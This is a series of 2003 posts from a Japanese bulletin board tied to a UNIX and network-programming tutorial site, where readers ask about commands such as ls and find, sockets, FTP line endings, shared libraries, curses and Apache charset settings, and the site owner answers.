> asciiart.cgiを設置されてるサイトって有るんですかね?(謎)
ないと思います。うちの CGI プログラム群は、配付しているのではなく
ただ単にソースを公開しているだけなので、わたし以外の人にとっては
設置しづらいでしょう。

No. 3245 # bebe 2003/06/10 (火) 18:36:12
「ls」を入力すると、カレントディレクトリのファイルやディレクトリが表示されますが、ファイルは表示させずにディレクトリだけを表示させることは出来ますか?
ls -d でやってみてもダメでした。

No. 3246 # 68user 2003/06/10 (火) 19:53:53
>>3245 bebe
-d は引数にディレクトリを指定した場合、そのディレクトリの
下でなく、ディレクトリそのものの情報を表示するオプションです。
というわけで、
    % ls | grep ^d
    % find . -type d -maxdepth 1
    % find . -type d -maxdepth 1 -ls
などなど。

No. 3247 # 68user 2003/06/10 (火) 20:04:29
>>3246 68user
> ls | grep ^d
ls -l | grep ^d の間違いでした。

No. 3248 # 68user 2003/06/14 (土) 22:03:14
ネットワークプログラミングの基礎知識
      http://x68000.startshop.co.jp/~68user/net/
に、
      暗号化のお話 (1) - 共通鍵暗号方式
            http://x68000.startshop.co.jp/~68user/net/crypt-1.html
      SSL/TLS でアクセスしてみよう (1) (2)
            http://x68000.startshop.co.jp/~68user/net/ssl-1.html
            http://x68000.startshop.co.jp/~68user/net/ssl-2.html
を追加しました。説明が中途半端ですが、ご容赦を。

cvsweb はこちら
    http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/?sortby=date

No. 3249 # のぐけん。 2003/06/16 (月) 17:54:10
はじめまして。
ここのページでかなり勉強させてもらっています。
いつの間にかDSNクライアント作成講座もできてるみたい
なので、時間があったら読ませてもらいます。

ところで、DNSを使ってみよう でsend関数がでてきましたが、
あれはTCPでは使えないのでしょうか?
UDPはコネクションレス型で、TCPはコネクション型なのは解ってますが・・・。
もし使える方法があれば教えてください。

No. 3250 # terapad 2003/06/17 (火) 11:14:15
はじめまして、terapadと申します。

いくつかのプログラムからarコマンドを用いて、ライブラリを作成するのですが、
スタティックリンク版とダイナミックリンク版を作成したいのです。

ar -r test.a aaa.o bbb.o ccc.o

現在、上記のようなコマンドを用いているのですが、
これはスタティックリンクになるのでしょうか?
ダイナミックリンク版を作成するためには、
arコマンドに何かオプションが必要なのでしょうか?

何も分からず恐縮ですが、ご教授お願いします。

No. 3251 # 68user 2003/06/17 (火) 12:52:12
>>3249 のぐけん。
> ところで、DNSを使ってみよう でsend関数がでてきましたが、
> あれはTCPでは使えないのでしょうか?
        send(SOCKET, $data, 0);
で使えます。

>>3250 terapad
> これはスタティックリンクになるのでしょうか?
そうです。

> ダイナミックリンク版を作成するためには、
こちらをどうぞ。
      http://www.jp.FreeBSD.org/QandA/HTML/401.html

No. 3252 # のぐけん。 2003/06/17 (火) 17:59:41
すいません。
send(SOCKET, $data, 0);
の形は、すでにSOCKETがつながっている時ですよね?
send(SOCK, MSG, 0, TO);
の形では無理でしょうか?

No. 3253 # terapad 2003/06/17 (火) 18:24:26
お返事ありがとうございます。

早速、サンプルプログラムを用意してやってみたところ
cc -fpic -o libshared.SO -c shared.c
は正常に終了しlibshared.SOが作成されました。

次の
cc -shared -Wl, -soname, libshared.so.1 -o libshared.so.1 libshared.SO
のところでは下記のようなエラーが出ます。
cc: 1501-218 file libshared.so.1 contains an incorrect file suffix
cc: 1501-228 input file libshared.so.1 not found
cc: 1501-218 file libshared.SO contains an incorrect file suffix

どのように回避したら良いでしょうか?

No. 3254 # terapad 2003/06/17 (火) 18:36:13
すみません。もう一度コマンドコピーして実行してみたところ、
cc -shared -Wl,-soname,libshared.so.1 -o libshared.so.1 libshared.so
ld: 0706-012 -h フラグが認識できません。
ld: 0706-012 -a フラグが認識できません。
ld: 0706-005 ファイルが見つからないか、オープンできません: libshared.so.1
                ld:open(): このパス名にはファイルまたはディレクトリが存在しません。

このようなメッセージに変わりました。
でも、わかりませんが・・・。

No. 3255 # 68user 2003/06/17 (火) 20:35:29
>>3252 のぐけん。
> send(SOCK, MSG, 0, TO);
> の形では無理でしょうか?
は TCP では無理だと思います。connect しないと 3way
handshake してくれないです。

ちなみに、ご存知かもしれませんが、UDP では
      - socket && connect && send(SOCKET, $data, 0);
      - socket && send(SOCKET, $data, TO);
のいずれも可能です。

>>3254 terapad
      http://www.jp.FreeBSD.org/QandA/HTML/401.html
gcc を使っている場合のやり方です。gcc を使わない
のであれば、お使いの cc のマニュアルを読みましょう。

No. 3256 # 68user 2003/06/18 (水) 00:29:50
UNIX の部屋
      http://x68000.startshop.co.jp/~68user/unix/
を更新しました。

No. 3257 # 68user 2003/06/18 (水) 00:42:07
とってもいまさらですが、
      IPアドレスとホスト名
            http://x68000.startshop.co.jp/~68user/net/net-1.html

      http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?log=2098
で指摘をいただいた旨追記しました。

No. 3258 # 68user 2003/06/18 (水) 00:51:37
第2回 UNIX の部屋の検索で一件もヒットしなかった
キーワード調査。対象は 2003年1月〜現時点の半年分。

# 第1回: http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?log=2093-2099

% grep pickup */access.log | grep Nomatch | awk '{print $3}' | sort | uniq -c | sort -nr
1165 useradd
  670 sar
  526 ls
  466 expr
  435 ssh
  426 scp
  320 ftp
  311 cp
  289 Emacs+Lisp+プログラミング入門
  287 Perl/Tk+デスクトップリファレンス
  284 snoop
  257 ln
  256 ユーザー
  232 cpio
  223 ufsdump
  223 rename
  206 rsync
  192 groupadd
  190 iostat
  187 logger
  186 arp
  181 mailx
  179 ipcs
  177 iconv
  168 usradd
  167 rm
  165 usermod
  164 ファイル検索
  147 pkginfo
  142 df
  142 ndd
  141 ps
  138 fdisk
  132 ipconfig
  132 chkconfig
  127 tree
  126 remsh
  125 substr
  125 nawk
  114 jar
  113 dbx
  112 ulimit
  103 userdel
  100 htpasswd
    94 mv
    92 tr
    85 バックアップ
    85 showrev
    85 ioscan
    85 chroot
    84 pkgrm
    84 pdf
    82 mpstat
    79 patchadd
    79 mknod
    75 mkfs
    74 リダイレクション
    73 ufsrestore
    70 lpq
    69 sdiff
    69 prstat
    68 wc
    67 mtime
    66 nmap
    64 スペック
    63 addgroup
    61 pkill
    60 unmount
    59 配列
    59 パーティション
    59 sh
    59 rcp
    58 演算
    58 vim
    58 lpstat
    56 ファイル名変更
    56 ファイル 作成
    56 cc
    56 prtconf
    56 gip
    56 addusr
    55 戻り値
    55 ファイル 検索
    55 sjtoeuc
    55 sftp
    55 access
    53 strcpy
    53 restore
    52 空き容量
    52 typeset
    52 swlist
    52 mkfile
    52 backup
    51 snmp
    51 samba
    50 sqlplus
    49 ファイル名 変更
    49 zgip
    49 ntpq
    49 euctosj
    49 bashrc

結論。調査してもそれを反映しないと意味がない。

というわけで、全角英数字でも検索できるようにしました。

No. 3259 # -9 [E-mail] 2003/06/19 (木) 14:29:04
UNIXの部屋拝見させてもらいました。
すごい詳しくて良かったです。ありがとうございました。
これからも使わせて頂きます。

No. 3260 # bubu [E-mail] 2003/06/19 (木) 22:09:11
はじめまして。私、MADAGASCARという国の地方都市にすんでおります。私の住んでる町に数年前にISPができました。サーバーの管理は直接しておりませんがLAN内でプログラムを作る事を考えています。サーバー以外は、基本的にWINDOWS系です。ヒントいただければ幸いです。

1つのプログラムは、LAN内でサイバーカフェを運営しておりますが、クライアント端末である特定のプログラムを起動させたときにカウントをしようというものですがこれは何とかなりそうです。
こちらが私にとっては難しいのですが2つ目は、サーバーにダイアルアップでログインしてくるユーザー情報を集計しそのデーターを別のところに送信させたいと思います。

サーバー:MANDRAKE 8.1(WWW、MAIL、DNS稼動)
ルーター:CISCO ???

横山

No. 3261 # 68user 2003/06/21 (土) 01:40:05
>>3259 -9
ありがとうございます。間違いやわかりにくい点を見付けたら
ぜひご指摘ください。

>>3260 bubu
> サーバーにダイアルアップでログインしてくるユーザー情報を
> 集計しそのデーターを別のところに送信させたいと思います。
ここらへんほとんど知らないんですが一応回答してみます。

ダイアルアップを受けるサーバ (RAS サーバって言うんでしょうか?)
は Mandarake ですか? それとも CISCO の機器ですか?

前者であれば mgetty や pppd (ppxp?) あたりが /var/log あたりに
ログを残しているかもしれません。また、通常のログインと同じく
utmp や wtmp あたりに記録されるはずなので、who などで集計する
ことができるはずだと思います。

後者であれば、わかりません。マニュアルを読んでください。

もし RAS サーバを管理する立場にないのであれば、集計する
のは無理でしょう。

No. 3262 # bubu [E-mail] 2003/06/21 (土) 02:19:56
回答ありがとうござました。
ダイアルアップを受けるサーバはMandarakeです。RADIUSというソフト(サーバー?)が起動していて/var/log にlogが記録されます。
情報を探してみましたが、SQLなどを介し、上記のlogファイルを利用してデータベースを作成できる事は分かりましたが、Client MachineからサーバーMachineへアクセスし、データを取ってくるその手法がいまだによく分かりません。お手数とは思いますがご教授していただければ幸いです。
サーバーの第一管理者はリモートで管理をしており、私は第2管理者に非常に近いところにおります。

No. 3263 # 68user 2003/06/23 (月) 19:50:28
>>3262 bubu
> Client MachineからサーバーMachineへアクセスし、データを取って
> くるその手法がいまだによく分かりません。
あとは定期的にファイル転送ができればよいのですか? もし
そうなら、ftp で転送するのが一番簡単だと思います。

Windows 付属の ftp.exe やフリーの ftp クライアントを使用
してみてはどうでしょうか。

No. 3264 # あやの 2003/06/26 (木) 01:25:53
ここで相談すべきことじゃないのかもしれませんが、困っています。

PDFを見るためのソフトについて、UNIXにはxpdfなどの軽いツールがあるのに、
WindowsにはAcrobatReaderしかないようなのですが、Windowsにも
他にPDFを見るためのツールはあるのでしょうか?

よろしくおねがいいたします。。

No. 3265 # 68user 2003/06/26 (木) 23:52:58
>>3264 あやの
xpdf の Windows 版はありますが、GUI を持たない変換ツール類しか
提供されていないようですね。
      http://www.foolabs.com/xpdf/download.html

http://www.namazu.org/ml/namazu-win32-users-ja/msg01025.html
を読むと、昔は cygwin 版も上記ページに置かれていたように見えますが、
今は置いてありません。自分でコンパイルして、果して動くのかどうか…。

No. 3266 # UNIX 2003/06/27 (金) 17:35:43
AIXのdateコマンドでは「'1 days ago'」のような機能がありません。
どのように1日前の日付を出力すれば良いんでしょうか?
date -v-1dってできるんですかね?

No. 3267 # 68user 2003/06/27 (金) 17:46:50
>>3266 UNIX
> date -v-1dってできるんですかね?
試してみればいいんじゃないでしょうか。

他には TZ を使うやり方を
      http://x68000.startshop.co.jp/~68user/unix/pickup?date
に書きましたが、AIX の date(1) が期待通り動いてくれるかどうかはわかりません。

No. 3268 # ma-chan 2003/06/28 (土) 16:01:42
C言語でsocketを用いたftpクライアント(Asciiモード)を作成し、solaris上で実行したところ、ftpからのリターンメッセージ、およびgetしたファイルの改行コードに『CR』が付加されてしまい、とても困っております。
これは、どのような要因が考えられますでしょうか?
よろしくお願いします。

No. 3269 # 68user 2003/06/28 (土) 16:55:42
>>3268 ma-chan
ASCII モードは LF を CRLF に置換するわけで、「CR が付加される」
というのは納得できる結果だと思います。というわけで、何に困って
おられるのかよくわかりません。

No. 3270 # ma-chan 2003/06/28 (土) 17:57:43
説明が足りなくて申し訳ありません。
改めまして詳細を説明させて頂きます。

テスト環境は、Solarisサーバー2台で、
片方のサーバー上に作成したPGMを置いて、テキストファイルの
送受信を行っています。
扱うテキストファイルは、Solaris上で作成したファイルで、
改行コードは、『LF』のみです。
で、PGM内からASCIIモードでファイルをPUTする分には、
問題ないのですが、
ファイルをGETすると、改行コードに『CR』が付いてしまうという
現象が発生しております。
(ちなみに、コマンドレベルでftpをASCIIモードで実行した場合は、
『CR』は付きませんでした。)

私の認識では、UNIXサーバー側でファイルをGETする場合は、
改行コードに『CR』は付かないと思うのですが...
(Windows環境でプログラムを動かしてファイルを受信した場合は、
    『CR』が付くと思っています。)
この認識自体が間違っていますか?

よろしくお願いします。

No. 3271 # 68user 2003/06/28 (土) 18:29:31
>>3270 ma-chan
理解しました。

ASCII モードというものをより正確に書くと、

          あなたがデータを送信するときは、事前に NVT-ASCII に変換
          しておいてね

とクライアントとサーバが約束すること、です。そして NVT-ASCII に
おける改行は CRLF です。

なので、TYPE A で CRLF が送られてくるのは正しいわけで、CRLF を
LF に変換するのはクライアント側の仕事なのです。

NVT-ASCII については (読んでませんが) 多分 RFC 854 に書いて
あるんじゃないかと思います。

No. 3272 # keijirou 2003/06/30 (月) 14:02:10
はじめまして。いつも参考にさせて頂いてます。

<環境>
マシン:UNIX B2000(OKITAK9000)
OS:HPーUX Ver.11.0
端末:dtterm
言語:C

上記の環境で、wgetch関数(nodelayモード)を使って、キー入力を受け取る
プログラムを作成しているのですが、2つほど質問させてください。

1.キーボードからの入力をロックする方法。
    キーを入力してもwgetchがコードを返却しないようにしたい。

2.ある特定のキーについて,wgetchが返却するコードを変更する方法。
    たとえば,Insキーが押下されたら0x12を返却するようにしたい。

既出でしたら、申し訳ありません。
よろしくお願い致します。

No. 3273 # Been 2003/07/03 (木) 20:29:40
場違いかも知れませんが藁をも掴むつもりで投稿しました。
FreeBSD4.7にてSSHでPg.pmをインストールしようとしています。
SHELLはtcshなのですが、以下の方法でインストールは可能でしょうか?

cd src
tar zxvf pgsql_perl5-1.9.0.tar.gz
cd pgsql_perl5-1.9.0
setenv POSTGRES_INCLUDE "/usr/local/pgsql/include"
setenv POSTGRES_LIB "/usr/local/pgsql/lib"
perl Makefile.PL
make
make test
root # make install

何かヒントでもいいのでよろしくお願いいたします。

No. 3274 # 68user 2003/07/04 (金) 14:20:25
>>3272 keijirou
curces に詳しくないので回答しなかったのですが、誰か知ってる人
いませんかねぇ。

>>3273 Been
> 以下の方法でインストールは可能でしょうか?
よさそうに見えますが、とりあえず make test、make -n install まで
試してみればいいんじゃないでしょうか。

てゆーか、一般的には DBI と DBD::Pg モジュールを使うことが
多いと思いますが、あえて Pg なのですか?

2000年で更新止まってるし、RDBS 取り換えたら書き直しだし、あまり
いいことはないと思います。

No. 3275 # kotaro 2003/07/05 (土) 12:02:52
はじめまして。kotaroと申します。
さっそくですが、質問をさせていただいてよろしいでしょうか。

C言語において、IPアドレスのみで通信を行うプログラムの作成は可能でしょうか。
socket関数を用いた場合は、
TCPやUDPのトランスポート層の通信になると思いますが、
トランスポート層のプロトコルを解釈せずにIPヘッダーのみで通信を行う、
ルーティングのような機能を実現したいと思っています。
(ネットワークカードは2枚使用し、IPパケットを通過させる仕組み)

突然の質問で申し訳ありませんがよろしくお願いします。

No. 3276 # 68user 2003/07/05 (土) 13:13:21
>>3275 kotaro
> IPアドレスのみで通信を行う
IP (インターネットプロトコル) のみで通信を行う、という
ことでしょうか。

UNIX なら可能です。Windows なら XP からですね。「raw socket」
などで検索してみてください。

No. 3277 # kotaro 2003/07/06 (日) 21:44:53
ありがとうございます。

socket関数にrawIPを使う機能がありました。
この機能を使えば、raw(生)のIPデータグラムを扱えるので
IPヘッダ以外にもTCPやUDPヘッダも自由に付けることができそうです。

No. 3278 # keijirou 2003/07/07 (月) 10:20:46
No3272 で質問させて頂いた者です。同環境でもう1つ質問させてください。
printfで画面出力した文字を、カーソルを文字の先頭に移動させて、再度取得する方法は?
カーソルの移動はエスケープシーケンスで行っています。
cursesを利用すれば表示した文字を再度取得することは可能なのですが、エスケープシーケンスを標準出力する方法が判らないのでしかたなくprintfを使っているという状況です。
cursesでエスケープシーケンスを標準出力できればよいのですが。。。

printfの文字取得、もしくはcursesでのエスケープシーケンスの標準出力、
について情報お持ちの方、回答よろしくお願いします。

No. 3279 # 68user 2003/07/07 (月) 16:12:08
>>3278 keijirou
> printfで画面出力した文字を、カーソルを文字の先頭に移動させて、
> 再度取得する方法は?
原理的に無理でしょう。自分で出力した文字を覚えておくくらいしか
ない (≒curses の再実装) と思います。

> カーソルを文字の先頭に移動させて
これを curses で行えばよいだけのように見えますが、curses では
ダメな理由があったりしますか?

No. 3280 # keijirou 2003/07/07 (月) 18:28:22
>>3279 68user
早速の回答ありがとうございます。
printfの文字を再度取得することは無理なんですね。
実際にprintfで出力した文字の先頭に、cursesで移動して、文字取得を行ったところ、何も取得できませんでした。
おそらく、cursesが持っているバッファからデータを持って来るようなので、printfの文字は取得されないものと思われます。

扱うデータがエスケープシーケンス入りのデータなので、printfがそのまま使えれば、解析せずに済むかと思い、質問させて頂きました。
また、画面に表示した文字のハードコピーを印刷するのにprintfの文字を再取得しようと考えてました。

もし、なにかよい方法がありましたら、またよろしくお願い致します。

No. 3281 # 68user 2003/07/09 (水) 21:49:39
>>3280 keijirou
> printfの文字を再度取得することは無理なんですね。
そうですね。stdio ライブラリは出力した文字を覚えていませんし、
kterm などの端末エミュレータも受け取った文字を覚えていません
ので。

# もし端末エミュレータが覚えていたとしても、アプリが
# 端末エミュレータに文字を問い合わせるような仕組みがない。

> 扱うデータがエスケープシーケンス入りのデータなので
もし curses がそのようなデータを扱えるとしたら、
      1. curses が出力するデータの中身を解析し、エスケープシーケンス取得。
      2. 環境変数 TERM を見て、エスケープシーケンスがその端末でどのような
            挙動をするのかを調べる。
      3. エスケープシーケンスを出力する代わりに、curses のライブラリを叩く。
という機能を持ってないといけないでしょうが、多分そのような
機能はないと思います。

データがエスケープシーケンス入りと言っても、ごく限られた
数種類程度のエスケープシーケンスではないですか?

もしそうであれば、自前でデータを解析し、エスケープシーケンスを
出力する代わりに curses のライブラリ関数を呼ぶ、ってのが簡単
そうな気がします。

No. 3282 # ゆう 2003/07/10 (木) 12:04:13
muleで韓国語を入力したまではよかったのですが・・・
印刷しようとすると化けてしまいます。
コマンドを教えてください。

p.s 「any2ps hangul.tex | lpr -Pstd1pr1」を試してみましたが、
            結果は、m2ps: Invalid argument: hangul.tex でした・・・。

No. 3283 # keijirou 2003/07/10 (木) 14:49:26
>>3281 68user
回答ありがとうございます。
やはり、自前でエスケープシーケンスを判断しなければいけないようですね。
その方向で開発をすすめてみます。
いろいろとありがとうございました。

No. 3284 # 68user 2003/07/10 (木) 18:27:42
>>3282 ゆう
韓国語関連は全く知りませんが、引数ではなく標準入力から
渡さないといけなんじゃないですかね?
      http://www.tk.airnet.ne.jp/nagae/jp/comp/mule/any2ps.html

No. 3285 # umio 2003/07/14 (月) 02:26:42
私はネットワークについて初心者で、検索ページからこのサイトを拝見しました。噛み砕いた説明のおかげで理解しやすくとても参考になり、本当に感謝しています。ありがとうございます。

No. 3286 # ゆみ 2003/07/16 (水) 10:31:25
シェルの環境変数で宣言している物が,未定義変数だといわれ止ってしまいます。エラーが出ない場合のほうが多いのですが,さっきまで回っていたものが、未定義だと言われてとまってしまい,困っています。
なにか、アドバイスいただければ幸いです。

No. 3287 # bebe 2003/07/23 (水) 15:37:31
find コマンドで検索するときに、サブディレクトリを検索させない
ようにすることは、出来ますか?
(例)find / -name *.txt
とすると、/配下のディレクトリまで検索してしまいますが、そうでは
なくて、/だけを検索させたいのですが‥
ちなみに、Solarisを使用しています。

No. 3288 # keijirou 2003/07/23 (水) 16:51:01
いつもお世話になります
早速ですが、cursesの関数で、現在のカーソル位置を記憶する、および
記憶したカーソル位置の復帰を行う関数は存在するでしょうか?
自前で現在位置を覚えておいて、wmoveで移動する方法しかないのでしょうか?

No. 3289 # 通りすがり 2003/07/24 (木) 13:32:36
UNIXの部屋のリファレンスを求めて初めておじゃましました。
ちょっと気づいたのですが、文字コードの指定がない上にShift_JISや
EUCが混在していたりするため、しばしばブラウザが文字コード判定に失敗するようです。
<head>中に<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">等の表記を入れて頂ければうれしく思います。

No. 3290 # 68user 2003/07/24 (木) 16:57:30
>>3285 umio
ありがとうございます。わかりにくい記述などを見つけたらぜひ教えてください。

>>3286 ゆみ
> なにか、アドバイスいただければ幸いです。
情報不足です。ここらへん
      http://www.hyuki.com/writing/techask.html#procedure
を読むとよい質問ができるようになると思います。

>>3287 bebe
> find コマンドで検索するときに、サブディレクトリを検索させない
> ようにすることは、出来ますか?
> ちなみに、Solarisを使用しています。
GNU find などなら find / -maxdepth 1 ですが、Solaris の find では
できない、と思っています。無理矢理やるなら
    % find `ls -dF /* | egrep -v '/$'` -type f -name \*.txt
とかですが、「そんなの ls /*.txt でいいじゃん」と言われるでしょうね。

>>3288 keijirou
> 現在のカーソル位置を記憶する、および記憶したカーソル位置の復帰を
> 行う関数は存在するでしょうか?
curces の全関数を知っているわけではないですが、多分存在しないんじゃ
ないでしょうか。

>>3289 通りすがり
> 文字コードの指定がない上にShift_JISやEUCが混在していたりするため、
> しばしばブラウザが文字コード判定に失敗するようです。
対処します (8月中にはなんとか…)。

しかしすべてのページは EUC-JP で統一していると思っていたんですが、
Shift_JIS なページがありましたっけ?

No. 3291 # Netboy 2003/07/24 (木) 17:49:29
文字コードなんですけど、いろいろな種類のブラウザで
全く文字化けが起きないようにするには工夫がいるみたいです。
特にApache 1.3系では、

・ApacheのAddCharset設定で日本語コードを指定しておく
・各ページにMETAタグを入ておく

の両方を行わないとだめみたいです。
かなり古い話ですがApache 1.3.12の頃からそうなってます。私の経験では

<Directory />
Options FollowSymLinks
AllowOverride None
AddCharset ISO-2022-JP html
AddCharset ISO-2022-JP htm
AddCharset ISO-2022-JP shtml
AddCharset ISO-2022-JP shtm
</Directory>

でISO-2022-JPで決めうちしたあと
METAタグでShift_JISにしたりEUC-JPにするといい感じでした。

http://www.asahi-net.or.jp/~AE5T-KSN/apache/charset-problem.html

No. 3292 # Netboy 2003/07/24 (木) 18:00:22
と思って実際の設定を調べてみたのですが、普通に
AddCharset EUC-JP html
等で済ませてました。これとMETAタグ併用でした。

No. 3293 # kazu [E-mail] 2003/07/25 (金) 14:52:11
はじめましてperlをはじめて半年レベルです。
貴殿のページでネットの勉強はじめましたが、レンタルサーバーのためtelnetが使えません。参考のplを実行させたいのですがどうすればやれますでしょうか。
初歩的な質問で申し訳ありませんがご指導ください。

No. 3294 # 68user 2003/07/28 (月) 09:55:03
>>3291 Netboy
> ・ApacheのAddCharset設定で日本語コードを指定しておく
> ・各ページにMETAタグを入ておく
これ、いまだに迷っているのですが、HTTP ヘッダに charset を
含めるのと、meta で書くのとどっちがいいんですかね。

前者だと、ローカルにある HTML ファイルを直接ブラウザで見たりなんか
すると、charset がないのでエンコーディングを誤判定してしまいます。
# IE は保存時に meta 埋めてくれますが。

でも meta だと、ファイルのエンコーディングを変えたらいちいち
charset を変更しなければいけないのか、って話になりますし。

個人的には、エンコーディングくらいブラウザが自動的に (そして
もっと賢く) 判定しろよ、と思います。

> http://www.asahi-net.or.jp/~AE5T-KSN/apache/charset-problem.html
これについては、apache のソースをいじって charset=iso-8859-1 を
削る対応が好きです。と言っても、x68000.startshop.co.jp では
やってませんが。


>>3293 kazu
> レンタルサーバーのためtelnetが使えません。
ftp でサーバに CGI スクリプトを置いておくだけでいいです。

と言っても、telnet 可能かどうかは作業効率に大きく関わるため、
telnet 可なサーバに乗り換えることをお勧めします。

乗り換えたくないなら、ローカルにも perl や web サーバを入れ、
サーバ側とできるだけ同じ環境を構築して、ローカルでテストが
可能なようにしておくとよいでしょう。

No. 3295 # Netboy 2003/07/28 (月) 10:53:09
>これ、いまだに迷っているのですが、HTTP ヘッダに charset を
>含めるのと、meta で書くのとどっちがいいんですかね。

世間ではMETA優先なんじゃないでしょうか。
でもcharsetでiso-8859-1が来るとコード自動判別とMETAタグが
両方とも無効になるブラウザがあるので
charsetで何か日本語コードが来るようにしないとだめみたいです。

>でも meta だと、ファイルのエンコーディングを変えたらいちいち
>charset を変更しなければいけないのか、って話になりますし。

そういう場合は文字コード判別&タグ入れをスクリプトで自動化して
一括して行うしかないと思います。
全然参考にならなくて済みません。

No. 3296 # >>3293 2003/07/28 (月) 19:37:09
>ftp でサーバに CGI スクリプトを置いておくだけでいいです。
いろいろ試しましたがよく解りませんでした。
ありがとう御座いました。

No. 3297 # kazu 2003/07/28 (月) 19:41:54
>>3293 kazu
>ftp でサーバに CGI スクリプトを置いておくだけでいいです。
いろいろ試してみましたがうまく行きませんでした。
ありがとうございました。

No. 3298 # user326 2003/07/29 (火) 11:18:48
UNIXサーバを自動運転で動かしています。
管理する他のクライアントから、起動・シャットダウンの命令を自動で行うように設定してあります。
一昨日から、UNIXサーバを起動する(自動運転)と時刻がシャットダウンした後(直後の時刻)になってしまいます。
端末については、正常な時刻になっています。
特にntpを使用している訳でもありません。
何か考えられる原因はありますでしょうか?
また、怪しい部分などがありましたら教えてください。

No. 3299 # 68user 2003/07/31 (木) 12:52:25
>>3298 user326
> 何か考えられる原因はありますでしょうか?
まぁ一番に疑うべきはハード故障なんでしょうね。手動でシャット
ダウンしたらどうなるんでしょうか。

> 端末については、正常な時刻になっています。
これは意味がわかりませんでした。端末が時刻を保持している
はずはないし、端末からログインして date を叩くと見ると
正常な時刻ということなら、さらに謎な挙動ですね。

No. 3300 # 68user 2003/08/12 (火) 07:38:14
Netboy さんと startshop さんと両毛インターネットさんの
ご好意で使わせていただいておりました このサーバですが、
諸事情により使えなくなりそうです。

いつ使えなくなるかは現時点ではわかっていないのですが、
もしいきなり接続できなくなった場合は、
      http://210.249.139.22/
      http://home.jp.freebsd.org/~matsu/
のいずれかに移転のお知らせを出します。

が、わたしは現在ネットカフェ経由でないとこのマシンに
ログインできないという情けない状況なので、お知らせが
遅れるかもしれませんがご了承ください。

No. 3301 # 68user 2003/08/12 (火) 21:48:31
とりあえずサーバ自体はしばらく残していただけるそうですが、
ドメインはどうなるかわかりません。

もし急に x68000.startshop.co.jp の名前が引けなくなったら
http://210.249.139.22/~68user/ で見てください。

No. 3302 # ken 2003/08/13 (水) 23:59:46
初めまして。
ネットワークプログラミングの基本を勉強したいと思い、いつも拝見させていただいています。
今はFTPクライアントを勉強中のところなんですが、どうしてもわからないところがあり、教えていただきたいと思って書き込みます。

68userさんのプログラムを参考にした上で、Passiveモードを使ってFTPサーバのファイルリストを取得するのみのプログラムを組んでいます。
サーバ側にまずUSER、PASSコマンドを送信するところまでは成功しました。(レスポンスを見て確認しました)
しかし、その後にPASVコマンドを送っても、サーバから何の応答もありません。
これは何が悪いのでしょうか?
ちなみに相手サーバは、インフォシークのレンタルweb用のFTPサーバです。

No. 3303 # 68user 2003/08/14 (木) 00:27:11
>>3302 ken
なんでですかね。仮に PASV 未対応の FTP サーバであっても、
      500 Commando not understood
程度は返してくると思います (今どき PASV 未対応はありえないと
思いますが)。

一般的に、あらゆる ftp クライアントにデバッグモードが実装されて
いると思うので、まずは今お使いの ftp クライアントで試して、
デバッグ表示を見るのがよいでしょう。

それでも解決しなかったら、telnet で USER・PASS・PASV を叩いた
結果を (ユーザ名・パスワード部分は隠した上で) 見せてください。
あと、もし問題なければ
> インフォシークのレンタルweb用のFTPサーバ
のホスト名を教えてください。

No. 3304 # SL 2003/08/14 (木) 10:22:10
はじめまして、ソケット通信を勉強したくてこちらのHPにたどりつきました。すみませんがひとつ質問させてください。

ソケット通信でindex.htmlというファイルの中身は取得できたのですが、同じようにしてindex.cgiというファイルを指定すると

The requested URL /index.cgi was not found on this server.<P>

という返信が返ってきてしまいます。実行ファイルの場合は何か指定の仕方が違うのでしょうか。
どうぞ宜しくお願い致します。

No. 3305 # 68user 2003/08/14 (木) 11:13:15
>>3304 SL
> 実行ファイルの場合は何か指定の仕方が違うのでしょうか。
同じリクエストの仕方で問題ありません。

        http://www.asahi.com/index.html
は取得できるのに
        http://www.asahi.com/index.cgi
は取得できないのはなぜか?

asahi.com が index.cgi を置いてないからです。

No. 3306 # SL 2003/08/14 (木) 12:07:17
>>3304 68user

ご回答ありがとうございました。

> asahi.com が index.cgi を置いてないからです。

確かにそのとおりでした。すみません。
自分で置いてテストしたのですが、確認したら指定を間違えていました。

他サイトにあるスクリプトをソケット通信で実行したいと思って、やっているのですが、ブラウザからは実行できるのにソケット通信だとできないので、もしかしたら実行ファイルは他の設定があるのかと考えてしまいました。

ブラウザからは実行できるのにソケット通信では実行できないということはあるのでしょうか。

宜しくお願い致します。

No. 3307 # 68user 2003/08/14 (木) 15:44:08
>>3306 SL
> 他サイトにあるスクリプトをソケット通信で実行したいと思って、
> やっているのですが、ブラウザからは実行できるのにソケット通信
> だとできないので
これは index.cgi とは別の問題ですか?

どんなリクエストを送っているかを明らかにしていただくのが早い
んですが、まぁ想像するに Host ヘッダを送ってない、てなところでは
ないかと思いました。

いずれにせよクライアントを作る前に telnet で試してみてください。

No. 3308 # SL 2003/08/14 (木) 18:57:02
>>3307 68user

ご回答ありがとうございます。

> これは index.cgi とは別の問題ですか?

他のサイトにあるスクリプトが実行できないので、自分のところにスクリプトを置いて実験しているだけですので、困っていることはひとつです。

> んですが、まぁ想像するに Host ヘッダを送ってない、てなところ

Hostヘッダというのは送ってないような気がします。68userさんが公開してくださっているソースをそのまま使っただけですので。
ご指摘のhostヘッダの件が問題点のような気がします。

http://www.shop-link.net/tie-up/test/socket4.txt

ソースは上記です。すみませんが見ていただけますか。

宜しくお願い致します。

No. 3309 # 68user 2003/08/14 (木) 19:36:51
>>3308 SL
> ご指摘のhostヘッダの件が問題点のような気がします。
ブラウザで
    http://219.109.215.211/cgi/gp_new.CGI
を見ると not found になるということは、そういうことでしょうね。

http://x68000.startshop.co.jp/~68user/net/http-4.html を見て、
Host ヘッダを追加してみてください。

No. 3310 # SL [E-mail] 2003/08/14 (木) 23:27:04
>>3309 68user

ありがとうございました。
なんとか動くようになりました。

Hostヘッダを追加して、proxyを使用しないようにしました。

本当にありがとうございました。
また何かありましたら宜しくお願い致します(^^;

お礼と言ってはなんですが、メルマガ出してますので、何か宣伝したいことがあったらメールして下さい。<m(_w_)m>

No. 3311 # ken 2003/08/15 (金) 10:58:54
ご返答ありがとうございました。
えっと…結論から言うと、解決しました(^^;

ftpコマンドでもtelnetコマンドでも問題が無かったので、
やはり自分のプログラムに問題があるのだろうと思い、もう一度見直しました。
どうやら、全箇所でレスポンスを受け取ってないのが原因かと思いました。
